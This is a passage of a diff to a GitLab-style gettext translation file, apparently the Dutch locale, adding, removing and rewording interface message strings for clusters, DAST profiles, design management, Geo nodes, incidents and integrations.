-msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{auto_devops_start}Auto DevOps%{auto_devops_end}. The domain should have a wildcard DNS configured matching the domain."
+msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
+msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
+msgstr ""
+
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -5852,15 +5984,27 @@ msgstr ""
msgid "ClusterIntegration|This option will allow you to install applications on RBAC clusters."
msgstr ""
+msgid "ClusterIntegration|This project does not have billing enabled. To create a cluster, %{linkToBillingStart}enable billing%{linkToBillingEnd} and try again."
+msgstr ""
+
+msgid "ClusterIntegration|This will permanently delete the following resources:"
+msgstr ""
+
msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
msgstr ""
+msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|To remove your integration and resources, type %{clusterName} to confirm:"
msgstr ""
msgid "ClusterIntegration|To remove your integration, type %{clusterName} to confirm:"
msgstr ""
+msgid "ClusterIntegration|To use a new project, first create one on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Uninstall %{appTitle}"
msgstr ""
@@ -5885,6 +6029,9 @@ msgstr ""
msgid "ClusterIntegration|We could not verify that one of your projects on GCP has billing enabled. Please try again."
msgstr ""
+msgid "ClusterIntegration|We were unable to fetch any projects. Ensure that you have a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|With a Kubernetes cluster associated to this project, you can use review apps, deploy your applications, run your pipelines, and much more in an easy way."
msgstr ""
@@ -5900,9 +6047,6 @@ msgstr ""
msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
msgstr ""
-msgid "ClusterIntegration|You must first install Helm Tiller before installing the applications below"
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
@@ -5933,7 +6077,7 @@ msgstr ""
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr ""
-msgid "ClusterIntegration|documentation"
+msgid "ClusterIntegration|can be used instead of a custom domain. "
msgstr ""
msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
@@ -6110,6 +6254,12 @@ msgstr ""
msgid "Comment/Reply (quoting selected text)"
msgstr ""
+msgid "Commenting on files that replace or are replaced by symbolic links is currently not supported."
+msgstr ""
+
+msgid "Commenting on symbolic links that replace or are replaced by files is currently not supported."
+msgstr ""
+
msgid "Comments"
msgstr "Opmerkingen"
@@ -6310,7 +6460,7 @@ msgstr ""
msgid "Configure Tracing"
msgstr ""
-msgid "Configure a <code>.gitlab-webide.yml</code> file in the <code>.gitlab</code> directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
+msgid "Configure a %{codeStart}.gitlab-webide.yml%{codeEnd} file in the %{codeStart}.gitlab%{codeEnd} directory to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
msgid "Configure automatic git checks and housekeeping on repositories."
@@ -6763,9 +6913,6 @@ msgstr ""
msgid "Copy"
msgstr ""
-msgid "Copy %{field}"
-msgstr ""
-
msgid "Copy %{http_label} clone URL"
msgstr ""
@@ -6850,6 +6997,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy to clipboard"
+msgstr ""
+
msgid "Copy token"
msgstr ""
@@ -6862,6 +7012,9 @@ msgstr ""
msgid "Could not add admins as members"
msgstr ""
+msgid "Could not archive %{design}. Please try again."
+msgstr ""
+
msgid "Could not authorize chat nickname. Try again!"
msgstr ""
@@ -6886,15 +7039,21 @@ msgstr ""
msgid "Could not create group"
msgstr ""
+msgid "Could not create issue"
+msgstr ""
+
msgid "Could not create project"
msgstr ""
-msgid "Could not delete %{design}. Please try again."
+msgid "Could not create wiki page"
msgstr ""
msgid "Could not delete chat nickname %{chat_name}."
msgstr ""
+msgid "Could not delete wiki page"
+msgstr ""
+
msgid "Could not find design."
msgstr ""
@@ -6925,6 +7084,9 @@ msgstr ""
msgid "Could not save prometheus manual configuration"
msgstr ""
+msgid "Could not udpdate wiki page"
+msgstr ""
+
msgid "Could not update the LDAP settings"
msgstr ""
@@ -6940,6 +7102,11 @@ msgstr ""
msgid "Coverage Fuzzing"
msgstr ""
+msgid "Coverage value for this pipeline was calculated by the coverage value of %d job."
+msgid_plural "Coverage value for this pipeline was calculated by averaging the resulting coverage values of %d jobs."
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Create"
msgstr ""
@@ -7030,6 +7197,9 @@ msgstr ""
msgid "Create file"
msgstr ""
+msgid "Create from"
+msgstr ""
+
msgid "Create group"
msgstr ""
@@ -7066,6 +7236,9 @@ msgstr ""
msgid "Create new branch"
msgstr ""
+msgid "Create new confidential %{issuableType}"
+msgstr ""
+
msgid "Create new directory"
msgstr ""
@@ -7090,6 +7263,9 @@ msgstr ""
msgid "Create project label"
msgstr ""
+msgid "Create release"
+msgstr ""
+
msgid "Create requirement"
msgstr ""
@@ -7261,6 +7437,9 @@ msgstr ""
msgid "Custom hostname (for private commit emails)"
msgstr ""
+msgid "Custom metrics"
+msgstr ""
+
msgid "Custom notification events"
msgstr ""
@@ -7357,6 +7536,15 @@ msgstr ""
msgid "Customize your pipeline configuration."
msgstr ""
+msgid "CustomizeHomepageBanner|Do you want to customize this page?"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|Go to preferences"
+msgstr ""
+
+msgid "CustomizeHomepageBanner|This page shows a list of your projects by default but it can be changed to show projects' activity, groups, your to-do list, assigned issues, assigned merge requests, and more. You can change this under \"Homepage content\" in your preferences"
+msgstr ""
+
msgid "Cycle Time"
msgstr ""
@@ -7521,6 +7709,9 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Profiles"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -7551,25 +7742,55 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Silver plan."
msgstr ""
+msgid "DastProfiles|Are you sure you want to delete this profile?"
+msgstr ""
+
+msgid "DastProfiles|Could not create the scanner profile. Please try again."
+msgstr ""
+
msgid "DastProfiles|Could not create the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Could not delete scanner profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete scanner profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profile. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not delete site profiles:"
+msgstr ""
+
+msgid "DastProfiles|Could not fetch scanner profiles. Please refresh the page, or try again later."
+msgstr ""
+
+msgid "DastProfiles|Could not fetch site profiles. Please refresh the page, or try again later."
+msgstr ""
+
msgid "DastProfiles|Could not update the site profile. Please try again."
msgstr ""
+msgid "DastProfiles|Do you want to discard this scanner profile?"
+msgstr ""
+
msgid "DastProfiles|Do you want to discard this site profile?"
msgstr ""
msgid "DastProfiles|Do you want to discard your changes?"
msgstr ""
+msgid "DastProfiles|Download validation text file"
+msgstr ""
+
msgid "DastProfiles|Edit feature will come soon. Please create a new profile if changes needed"
msgstr ""
msgid "DastProfiles|Edit site profile"
msgstr ""
-msgid "DastProfiles|Error fetching the profiles list. Please check your network connection and try again."
+msgid "DastProfiles|Error Details"
msgstr ""
msgid "DastProfiles|Manage Profiles"
@@ -7578,7 +7799,16 @@ msgstr ""
msgid "DastProfiles|Manage profiles"
msgstr ""
-msgid "DastProfiles|New Site Profile"
+msgid "DastProfiles|Minimum = 0 (no timeout enabled), Maximum = 2880 minutes"
+msgstr ""
+
+msgid "DastProfiles|Minimum = 1 second, Maximum = 3600 seconds"
+msgstr ""
+
+msgid "DastProfiles|New Profile"
+msgstr ""
+
+msgid "DastProfiles|New scanner profile"
msgstr ""
msgid "DastProfiles|New site profile"
@@ -7590,6 +7820,9 @@ msgstr ""
msgid "DastProfiles|Please enter a valid URL format, ex: http://www.example.com/home"
msgstr ""
+msgid "DastProfiles|Please enter a valid timeout value"
+msgstr ""
+
msgid "DastProfiles|Profile name"
msgstr ""
@@ -7599,12 +7832,69 @@ msgstr ""
msgid "DastProfiles|Save profile"
msgstr ""
+msgid "DastProfiles|Scanner Profile"
+msgstr ""
+
+msgid "DastProfiles|Scanner Profiles"
+msgstr ""
+
+msgid "DastProfiles|Site Profile"
+msgstr ""
+
msgid "DastProfiles|Site Profiles"
msgstr ""
+msgid "DastProfiles|Site is not validated yet, please follow the steps."
+msgstr ""
+
+msgid "DastProfiles|Site must be validated to run an active scan."
+msgstr ""
+
+msgid "DastProfiles|Spider timeout"
+msgstr ""
+
+msgid "DastProfiles|Step 1 - Choose site validation method"
+msgstr ""
+
+msgid "DastProfiles|Step 2 - Add following text to the target site"
+msgstr ""
+
+msgid "DastProfiles|Step 3 - Confirm text file location and validate"
+msgstr ""
+
msgid "DastProfiles|Target URL"
msgstr ""
+msgid "DastProfiles|Target timeout"
+msgstr ""
+
+msgid "DastProfiles|Text file validation"
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the site under test to respond to a request."
+msgstr ""
+
+msgid "DastProfiles|The maximum number of seconds allowed for the spider to traverse the site."
+msgstr ""
+
+msgid "DastProfiles|Validate"
+msgstr ""
+
+msgid "DastProfiles|Validate target site"
+msgstr ""
+
+msgid "DastProfiles|Validating..."
+msgstr ""
+
+msgid "DastProfiles|Validation failed, please make sure that you follow the steps above with the choosen method."
+msgstr ""
+
+msgid "DastProfiles|Validation must be turned off to change the target URL"
+msgstr ""
+
+msgid "DastProfiles|Validation succeeded. Both active and passive scans can be run against the target site."
+msgstr ""
+
msgid "Data is still calculating..."
msgstr ""
@@ -7677,7 +7967,7 @@ msgstr ""
msgid "Default classification label"
msgstr ""
-msgid "Default deletion adjourned period"
+msgid "Default deletion delay"
msgstr ""
msgid "Default description template for issues"
@@ -7755,10 +8045,10 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
-msgid "Delete Package"
+msgid "Delete Snippet"
msgstr ""
-msgid "Delete Snippet"
+msgid "Delete account"
msgstr ""
msgid "Delete artifacts"
@@ -7815,6 +8105,9 @@ msgstr ""
msgid "Delete variable"
msgstr ""
+msgid "DeleteProject|Delete %{name}"
+msgstr ""
+
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -7836,15 +8129,24 @@ msgstr ""
msgid "Deleted"
msgstr ""
+msgid "Deleted Projects"
+msgstr ""
+
msgid "Deleted chat nickname: %{chat_name}!"
msgstr ""
-msgid "Deleted in this version"
+msgid "Deleted projects"
+msgstr ""
+
+msgid "Deleted projects cannot be restored!"
msgstr ""
msgid "Deleting"
msgstr ""
+msgid "Deleting a project places it into a read-only state until %{date}, at which point the project will be permanently deleted. Are you ABSOLUTELY sure?"
+msgstr ""
+
msgid "Deleting the license failed."
msgstr ""
@@ -7854,6 +8156,9 @@ msgstr ""
msgid "Deleting the license failed. You are not permitted to perform this action."
msgstr ""
+msgid "Deleting the project will delete its repository and all related resources including issues, merge requests etc."
+msgstr ""
+
msgid "Deletion pending. This project will be removed on %{date}. Repository and other project resources are read-only."
msgstr ""
@@ -7880,6 +8185,11 @@ msgid_plural "Dependencies|%d additional vulnerabilities not shown"
msgstr[0] ""
msgstr[1] ""
+msgid "Dependencies|%d more"
+msgid_plural "Dependencies|%d more"
+msgstr[0] ""
+msgstr[1] ""
+
msgid "Dependencies|%d vulnerability detected"
msgid_plural "Dependencies|%d vulnerabilities detected"
msgstr[0] ""
@@ -7888,6 +8198,9 @@ msgstr[1] ""
msgid "Dependencies|%{remainingLicensesCount} more"
msgstr ""
+msgid "Dependencies|(top level)"
+msgstr ""
+
msgid "Dependencies|All"
msgstr ""
@@ -7900,6 +8213,9 @@ msgstr ""
msgid "Dependencies|Component name"
msgstr ""
+msgid "Dependencies|Dependency path"
+msgstr ""
+
msgid "Dependencies|Export as JSON"
msgstr ""
@@ -7918,6 +8234,9 @@ msgstr ""
msgid "Dependencies|The %{codeStartTag}dependency_scanning%{codeEndTag} job has failed and cannot generate the list. Please ensure the job is running properly and run the pipeline again."
msgstr ""
+msgid "Dependencies|There may be multiple paths"
+msgstr ""
+
msgid "Dependencies|Toggle vulnerability list"
msgstr ""
@@ -7956,8 +8275,8 @@ msgid_plural "Depends on %d merge requests being merged"
msgstr[0] ""
msgstr[1] ""
-msgid "Depends on <strong>%d closed</strong> merge request."
-msgid_plural "Depends on <strong>%d closed</strong> merge requests."
+msgid "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge request."
+msgid_plural "Depends on %{strongStart}%{closedCount} closed%{strongEnd} merge requests."
msgstr[0] ""
msgstr[1] ""
@@ -8002,7 +8321,7 @@ msgstr ""
msgid "DeployFreeze|No deploy freezes exist for this project. To add one, click %{strongStart}Add deploy freeze%{strongEnd}"
msgstr ""
-msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The <code>gitlab-ci.yml</code> file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
+msgid "DeployFreeze|Specify times when deployments are not allowed for an environment. The %{filename} file must be updated to make deployment jobs aware of the %{freeze_period_link_start}freeze period%{freeze_period_link_end}."
msgstr ""
msgid "DeployFreeze|Time zone"
@@ -8236,13 +8555,22 @@ msgstr ""
msgid "DesignManagement|Adding a design with the same filename replaces the file in a new version."
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgid "DesignManagement|Archive designs"
msgstr ""
-msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
+msgid "DesignManagement|Archive selected"
msgstr ""
-msgid "DesignManagement|Are you sure you want to delete the selected designs?"
+msgid "DesignManagement|Archived designs will still be available in previous versions of the design collection."
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to archive the selected designs?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel changes to this comment?"
+msgstr ""
+
+msgid "DesignManagement|Are you sure you want to cancel creating this comment?"
msgstr ""
msgid "DesignManagement|Cancel changes"
@@ -8275,15 +8603,6 @@ msgstr ""
msgid "DesignManagement|Could not update note. Please try again."
msgstr ""
-msgid "DesignManagement|Delete"
-msgstr ""
-
-msgid "DesignManagement|Delete designs confirmation"
-msgstr ""
-
-msgid "DesignManagement|Delete selected"
-msgstr ""
-
msgid "DesignManagement|Deselect all"
msgstr ""
@@ -8365,7 +8684,10 @@ msgstr ""
msgid "Detect host keys"
msgstr ""
-msgid "DevOps Score"
+msgid "DevOps"
+msgstr ""
+
+msgid "DevOps Report"
msgstr ""
msgid "Diff content limits"
@@ -8374,6 +8696,9 @@ msgstr ""
msgid "Diff limits"
msgstr ""
+msgid "Diff view settings"
+msgstr ""
+
msgid "Difference between start date and now"
msgstr ""
@@ -8386,7 +8711,10 @@ msgstr ""
msgid "Diffs|No file name available"
msgstr ""
-msgid "Diffs|Show unchanged lines"
+msgid "Diffs|Show %{unfoldCount} lines"
+msgstr ""
+
+msgid "Diffs|Show all unchanged lines"
msgstr ""
msgid "Diffs|Something went wrong while fetching diff lines."
@@ -8491,9 +8819,6 @@ msgstr ""
msgid "Discuss a specific suggestion or question."
msgstr ""
-msgid "Discussion"
-msgstr ""
-
msgid "Discussion to reply to cannot be found"
msgstr ""
@@ -8508,7 +8833,7 @@ msgid_plural "Dismiss %d selected vulnerabilities as"
msgstr[0] ""
msgstr[1] ""
-msgid "Dismiss DevOps Score introduction"
+msgid "Dismiss DevOps Report introduction"
msgstr ""
msgid "Dismiss Merge Request promotion"
@@ -8760,9 +9085,6 @@ msgstr ""
msgid "Edit comment"
msgstr ""
-msgid "Edit dashboard"
-msgstr ""
-
msgid "Edit description"
msgstr ""
@@ -9051,9 +9373,6 @@ msgstr ""
msgid "Enable usage ping"
msgstr ""
-msgid "Enable usage ping to get an overview of how you are using GitLab from a feature perspective."
-msgstr ""
-
msgid "Enable/disable your service desk. %{link_start}Learn more about service desk%{link_end}."
msgstr ""
@@ -9222,6 +9541,9 @@ msgstr ""
msgid "Environments in %{name}"
msgstr ""
+msgid "EnvironmentsAlert|%{severity} • %{title} %{text}. %{linkStart}View Details%{linkEnd} · %{startedAt} "
+msgstr ""
+
msgid "EnvironmentsDashboard|Add a project to the dashboard"
msgstr ""
@@ -9246,7 +9568,7 @@ msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays a maximum of 7 projects and 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -9525,6 +9847,9 @@ msgstr ""
msgid "Epics|To schedule your epic's %{epicDateType} date based on milestones, assign a milestone with a %{epicDateType} date to any issue in the epic."
msgstr ""
+msgid "Epics|Unable to perform this action"
+msgstr ""
+
msgid "Epics|Unable to save epic. Please try again"
msgstr ""
@@ -9852,7 +10177,7 @@ msgstr ""
msgid "Exactly one of %{attributes} is required"
msgstr ""
-msgid "Example: <code>192.168.0.0/24</code>. %{read_more_link}."
+msgid "Example: %{ip_address}. %{read_more_link}."
msgstr ""
msgid "Example: @sub\\.company\\.com$"
@@ -9873,6 +10198,9 @@ msgstr ""
msgid "Excluding merge commits. Limited to 6,000 commits."
msgstr ""
+msgid "Existing branch name, tag, or commit SHA"
+msgstr ""
+
msgid "Existing members and groups"
msgstr ""
@@ -9882,9 +10210,6 @@ msgstr ""
msgid "Existing projects will be able to use expiration policies. Avoid enabling this if an external Container Registry is being used, as there is a performance risk if many images exist on one project."
msgstr ""
-msgid "Existing shares"
-msgstr ""
-
msgid "Existing sign in methods may be removed"
msgstr ""
@@ -9897,9 +10222,6 @@ msgstr ""
msgid "Expand approvers"
msgstr ""
-msgid "Expand down"
-msgstr ""
-
msgid "Expand dropdown"
msgstr ""
@@ -9909,9 +10231,6 @@ msgstr ""
msgid "Expand sidebar"
msgstr ""
-msgid "Expand up"
-msgstr ""
-
msgid "Expected documents: %{expected_documents}"
msgstr ""
@@ -9924,9 +10243,6 @@ msgstr ""
msgid "Expiration date"
msgstr ""
-msgid "Expiration not enforced"
-msgstr ""
-
msgid "Expired"
msgstr ""
@@ -10358,12 +10674,18 @@ msgstr ""
msgid "FeatureFlags|Flag becomes read only soon"
msgstr ""
+msgid "FeatureFlags|Flag is read-only"
+msgstr ""
+
msgid "FeatureFlags|Get started with feature flags"
msgstr ""
msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags, and in 13.4, this feature flag will become read-only. Please create a new feature flag."
msgstr ""
+msgid "FeatureFlags|GitLab is moving to a new way of managing feature flags. This feature flag is read-only, and it will be removed in 14.0. Please create a new feature flag."
+msgstr ""
+
msgid "FeatureFlags|ID"
msgstr ""
@@ -10448,6 +10770,9 @@ msgstr ""
msgid "FeatureFlags|There was an error retrieving user lists"
msgstr ""
+msgid "FeatureFlags|To prevent accidental actions we ask you to confirm your intention. Please type %{projectName} to proceed or close this modal to cancel."
+msgstr ""
+
msgid "FeatureFlags|Try again in a few moments or contact your support team."
msgstr ""
@@ -10457,9 +10782,6 @@ msgstr ""
msgid "FeatureFlags|User List"
msgstr ""
-msgid "FeatureFlag|Delete strategy"
-msgstr ""
-
msgid "FeatureFlag|List"
msgstr ""
@@ -10499,6 +10821,9 @@ msgstr ""
msgid "File"
msgstr ""
+msgid "File %{current} of %{total}"
+msgstr ""
+
msgid "File Hooks"
msgstr ""
@@ -10724,6 +11049,9 @@ msgstr ""
msgid "Footer message"
msgstr ""
+msgid "For help setting up the Service Desk for your instance, please contact an administrator."
+msgstr ""
+
msgid "For internal projects, any logged in user can view pipelines and access job details (output logs and artifacts)"
msgstr ""
@@ -10895,30 +11223,15 @@ msgstr ""
msgid "GeoNodeSyncStatus|Node is slow, overloaded, or it just recovered after an outage."
msgstr ""
-msgid "GeoNodes|Attachments"
-msgstr ""
-
-msgid "GeoNodes|Checksummed"
-msgstr ""
-
msgid "GeoNodes|Consult Geo troubleshooting information"
msgstr ""
-msgid "GeoNodes|Container repositories"
-msgstr ""
-
msgid "GeoNodes|Data replication lag"
msgstr ""
-msgid "GeoNodes|Design repositories"
-msgstr ""
-
msgid "GeoNodes|Does not match the primary storage configuration"
msgstr ""
-msgid "GeoNodes|Failed"
-msgstr ""
-
msgid "GeoNodes|Full"
msgstr ""
@@ -10934,12 +11247,6 @@ msgstr ""
msgid "GeoNodes|Internal URL"
msgstr ""
-msgid "GeoNodes|Job artifacts"
-msgstr ""
-
-msgid "GeoNodes|LFS objects"
-msgstr ""
-
msgid "GeoNodes|Last event ID processed by cursor"
msgstr ""
@@ -10967,12 +11274,6 @@ msgstr ""
msgid "GeoNodes|Node's status was updated %{timeAgo}."
msgstr ""
-msgid "GeoNodes|Not checksummed"
-msgstr ""
-
-msgid "GeoNodes|Package files"
-msgstr ""
-
msgid "GeoNodes|Pausing replication stops the sync process. Are you sure?"
msgstr ""
@@ -10994,15 +11295,6 @@ msgstr ""
msgid "GeoNodes|Replication status"
msgstr ""
-msgid "GeoNodes|Repositories"
-msgstr ""
-
-msgid "GeoNodes|Repository checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Repository verification progress"
-msgstr ""
-
msgid "GeoNodes|Selective (%{syncLabel})"
msgstr ""
@@ -11030,27 +11322,12 @@ msgstr ""
msgid "GeoNodes|Unused slots"
msgstr ""
-msgid "GeoNodes|Unverified"
-msgstr ""
-
msgid "GeoNodes|Updated %{timeAgo}"
msgstr ""
msgid "GeoNodes|Used slots"
msgstr ""
-msgid "GeoNodes|Verified"
-msgstr ""
-
-msgid "GeoNodes|Wiki checksum progress"
-msgstr ""
-
-msgid "GeoNodes|Wiki verification progress"
-msgstr ""
-
-msgid "GeoNodes|Wikis"
-msgstr ""
-
msgid "GeoNodes|With %{geo} you can install a special read-only and replicated instance anywhere. Before you add nodes, follow the %{instructions} in the exact order they appear."
msgstr ""
@@ -11063,6 +11340,12 @@ msgstr ""
msgid "GeoNodes|secondary nodes"
msgstr ""
+msgid "Geo|%{itemTitle} checksum progress"
+msgstr ""
+
+msgid "Geo|%{itemTitle} verification progress"
+msgstr ""
+
msgid "Geo|%{label} can't be blank"
msgstr ""
@@ -11126,6 +11409,12 @@ msgstr ""
msgid "Geo|Geo Status"
msgstr ""
+msgid "Geo|Go to the primary site"
+msgstr ""
+
+msgid "Geo|If you want to make changes, you must visit the primary site."
+msgstr ""
+
msgid "Geo|In progress"
msgstr ""
@@ -11258,10 +11547,10 @@ msgstr ""
msgid "Geo|Waiting for scheduler"
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. If you want to make changes, you must visit this page on the %{node_link_open}primary node%{node_link_close}."
+msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node."
msgstr ""
-msgid "Geo|You are on a secondary, %{b_open}read-only%{b_close} Geo node. You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
+msgid "Geo|You may be able to make a limited amount of changes or perform a limited amount of actions on this page."
msgstr ""
msgid "Geo|misconfigured"
@@ -11438,7 +11727,7 @@ msgstr ""
msgid "GitLabPages|Force HTTPS (requires valid certificates)"
msgstr ""
-msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings > General > Visibility%{strong_end} page."
+msgid "GitLabPages|GitLab Pages are disabled for this project. You can enable them on your project's %{strong_start}Settings &gt; General &gt; Visibility%{strong_end} page."
msgstr ""
msgid "GitLabPages|It may take up to 30 minutes before the site is available after the first deployment."
@@ -11555,7 +11844,10 @@ msgstr ""
msgid "Go to %{link_to_google_takeout}."
msgstr ""
-msgid "Go to <strong>Issues</strong> > <strong>Boards</strong> to access your personalized learning issue board."
+msgid "Go to %{strongStart}Issues%{strongEnd} &gt; %{strongStart}Boards%{strongEnd} to access your personalized learning issue board."
+msgstr ""
+
+msgid "Go to Integrations"
msgstr ""
msgid "Go to Webhooks"
@@ -11837,6 +12129,9 @@ msgstr ""
msgid "Group project URLs are prefixed with the group namespace"
msgstr ""
+msgid "Group push rule exists, try updating"
+msgstr ""
+
msgid "Group requires separate account"
msgstr ""
@@ -12113,7 +12408,7 @@ msgstr ""
msgid "GroupSettings|Prevent sharing a project within %{group} with other groups"
msgstr ""
-msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day waiting period. This period can be %{customization_link} in instance settings"
+msgid "GroupSettings|Projects will be permanently deleted after a %{waiting_period}-day delay. This delay can be %{customization_link} in instance settings"
msgstr ""
msgid "GroupSettings|Select a sub-group as the custom project template source for this group."
@@ -12326,6 +12621,9 @@ msgstr ""
msgid "Health status"
msgstr ""
+msgid "Health status cannot be edited because this issue is closed"
+msgstr ""
+
msgid "HealthCheck|Access token is"
msgstr ""
@@ -12341,6 +12639,9 @@ msgstr ""
msgid "Hello there"
msgstr ""
+msgid "Hello, %{username}!"
+msgstr ""
+
msgid "Help"
msgstr ""
@@ -12471,6 +12772,9 @@ msgstr ""
msgid "How many users will be evaluating the trial?"
msgstr ""
+msgid "How to upgrade"
+msgstr ""
+
msgid "However, you are already a member of this %{member_source}. Sign in using a different account to accept the invitation."
msgstr ""
@@ -12627,6 +12931,12 @@ msgstr ""
msgid "If you remove this license, GitLab will fall back on the previous license, if any."
msgstr ""
+msgid "If you want to re-enable two-factor authentication, visit %{two_factor_link}"
+msgstr ""
+
+msgid "If you want to re-enable two-factor authentication, visit the %{settings_link_to} page."
+msgstr ""
+
msgid "If your HTTP repository is not publicly accessible, add your credentials."
msgstr ""
@@ -12780,6 +13090,9 @@ msgstr ""
msgid "ImportProjects|Importing the project failed: %{reason}"
msgstr ""
+msgid "ImportProjects|Requesting namespaces failed"
+msgstr ""
+
msgid "ImportProjects|Requesting your %{provider} repositories failed"
msgstr ""
@@ -12795,6 +13108,9 @@ msgstr ""
msgid "ImportProjects|Update of imported projects with realtime changes failed"
msgstr ""
+msgid "Improve Issue Boards"
+msgstr ""
+
msgid "Improve Issue boards"
msgstr ""
@@ -12807,13 +13123,13 @@ msgstr ""
msgid "Improve customer support with GitLab Service Desk."
msgstr ""
-msgid "Improve search with Advanced Global Search and GitLab Enterprise Edition."
+msgid "Improve search with Advanced Search and GitLab Enterprise Edition."
msgstr ""
msgid "In %{time_to_now}"
msgstr ""
-msgid "In order to enable instance-level analytics, please ask an admin to enable %{usage_ping_link_start}usage ping%{usage_ping_link_end}."
+msgid "In order to enable Service Desk for your instance, you must first set up incoming email."
msgstr ""
msgid "In order to gather accurate feature usage data, it can take 1 to 2 weeks to see your index."
@@ -12822,21 +13138,24 @@ msgstr ""
msgid "In order to personalize your experience with GitLab%{br_tag}we would like to know a bit more about you."
msgstr ""
-msgid "In order to tailor your experience with GitLab we%{br_tag}would like to know a bit more about you."
-msgstr ""
-
msgid "In progress"
msgstr ""
msgid "In the next step, you'll be able to select the projects you want to import."
msgstr ""
+msgid "Incident"
+msgstr ""
+
msgid "Incident Management Limits"
msgstr ""
msgid "IncidentManagement|All"
msgstr ""
+msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgstr ""
+
msgid "IncidentManagement|Assignees"
msgstr ""
@@ -12849,6 +13168,9 @@ msgstr ""
msgid "IncidentManagement|Date created"
msgstr ""
+msgid "IncidentManagement|Display your incidents in a dedicated view"
+msgstr ""
+
msgid "IncidentManagement|Incident"
msgstr ""
@@ -12867,6 +13189,9 @@ msgstr ""
msgid "IncidentManagement|Published to status page"
msgstr ""
+msgid "IncidentManagement|There are no closed incidents"
+msgstr ""
+
msgid "IncidentManagement|There was an error displaying the incidents."
msgstr ""
@@ -12942,6 +13267,9 @@ msgstr ""
msgid "Index all projects"
msgstr ""
+msgid "Index deletion is canceled"
+msgstr ""
+
msgid "Indicates whether this runner can pick jobs without tags"
msgstr ""
@@ -13008,6 +13336,9 @@ msgstr ""
msgid "Install on clusters"
msgstr ""
+msgid "Installation"
+msgstr ""
+
msgid "Installed"
msgstr ""
@@ -13022,7 +13353,7 @@ msgstr[1] ""
msgid "Instance Configuration"
msgstr ""
-msgid "Instance Statistics visibility"
+msgid "Instance Statistics"
msgstr ""
msgid "Instance administrators group already exists"
@@ -13049,6 +13380,12 @@ msgstr ""
msgid "Integrations|Comment settings:"
msgstr ""
+msgid "Integrations|Default settings are inherited from the group level."
+msgstr ""
+
+msgid "Integrations|Default settings are inherited from the instance level."
+msgstr ""
+
msgid "Integrations|Enable comments"
msgstr ""
@@ -13061,13 +13398,10 @@ msgstr ""
msgid "Integrations|Standard"
msgstr ""
-msgid "Integrations|This integration has multiple settings available."
-msgstr ""
-
msgid "Integrations|Use custom settings"
msgstr ""
-msgid "Integrations|Use instance level settings"
+msgid "Integrations|Use default settings"
msgstr ""
msgid "Integrations|When a Jira issue is mentioned in a commit or merge request a remote link and comment (if enabled) will be created."
@@ -13097,7 +13431,7 @@ msgstr ""
msgid "Introducing Value Stream Analytics"
msgstr ""
